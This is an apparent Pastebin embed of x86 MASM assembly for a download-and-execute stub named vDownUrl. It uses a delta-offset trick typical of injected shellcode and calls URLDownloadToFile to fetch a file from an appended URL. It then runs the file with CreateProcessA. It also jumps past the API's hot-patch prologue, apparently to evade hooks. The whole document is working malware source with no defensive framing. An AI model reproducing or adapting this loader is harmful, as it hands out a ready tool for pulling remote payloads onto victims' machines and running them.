document.write('
Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1.  
  2. .386
  3. .model flat,stdcall
  4. option casemap:none
  5.  
  6. ;vDownUrl.inc content:
  7. ;include kernel32.inc
  8. ;include urlmon.inc
  9. ;includelib kernel32.lib
  10. ;includelib urlmon.lib
  11. ;.data?
  12. ;urldir  db 255 dup (?)
  13. ;filename db 255 dup (?)
  14. ;offs3t  db 4 dup (?)
  15. ;pinfo   dd 4 dup (0) ;process handles
  16. ;startupinfo db 48h dup (0) ;startup info for the process were opening
  17. include vDownUrl.inc
  18.  
  19. .code
  20. main:
  21.  call DELTA      ;GETTING DELTA OFFSET }:)
  22. DELTA:
  23.  lea eax,[esp-1]
  24.  inc eax
  25.  lea ebx,[DELTA+1]
  26.  dec ebx
  27.  mov eax,[eax]
  28.  sub eax,ebx
  29.  mov ebp,eax      ;EBP = DELTA OFFSET
  30.          ;END
  31. lenFile:
  32.  xor ebx,ebx
  33.  xor dl,dl
  34.  mov eax, offset [FILE_+2]  ;loop for count length bytes of FILE string
  35.  .while byte ptr [eax+ebx]!=dl
  36.   inc ebx
  37.  .endw
  38.  mov dword ptr [offs3t+ebp],ebx ;save length
  39. getOffsets:
  40.  jmp short FILE     ;GETTING ARGS OFFSETS
  41. OFFFILE:
  42.  pop edx       ;FILE NAME OFFSET
  43.  mov dword ptr [filename+ebp],edx
  44.  lea ebx,[offs3t+ebp]
  45.  mov ebx,[ebx]
  46.  add ebx,URL      ;add length bytes of FILE string to fix JMP
  47.  jmp ebx
  48. OFFURL:
  49.  pop edx       ;URL OFFSET
  50.  mov dword ptr [urldir+ebp],edx
  51.          ;END
  52. sCode:        ;REAL SOURCE CODE HERE!!!
  53.  xor ecx,ecx
  54.  push ecx      
  55.  push ecx
  56.  lea eax,[filename+ebp]   ;FILE
  57.  mov eax,[eax]
  58.  push eax
  59.  lea eax,[urldir+ebp]   ;URL
  60.  mov eax,[eax]
  61.  push eax
  62.  push ecx
  63.  ;call URLDownloadToFile  
  64.  mov eax,URLDownloadToFile
  65.  inc eax
  66.  inc eax
  67.  mov edi,edi
  68.  call eax      ;URLDownloadToFile
  69.  lea eax,[pinfo+ebp]
  70.  push eax
  71.  lea eax,[startupinfo+ebp]
  72.  push eax
  73.  xor ecx,ecx
  74.  push ecx
  75.  push ecx
  76.  push ecx
  77.  push 1
  78.  push ecx
  79.  push ecx
  80.  push ecx
  81.  lea eax,[filename+ebp]   ;FILE
  82.  mov eax,[eax]
  83.  push eax
  84.  call CreateProcessA    ;CreateProcessA
  85.  xor ecx,ecx
  86.  push ecx
  87.  call ExitProcess    ;ExitProcess
  88. FILE:
  89.  lea ebx,[OFFFILE+ebp]
  90. FILE_:
  91.  call ebx
  92.  nop      ;FILE NAME HERE
  93. URL:
  94.  lea ebx,OFFURL
  95.  call ebx
  96.  nop     ;URL HERE
  97.  
  98. end main
');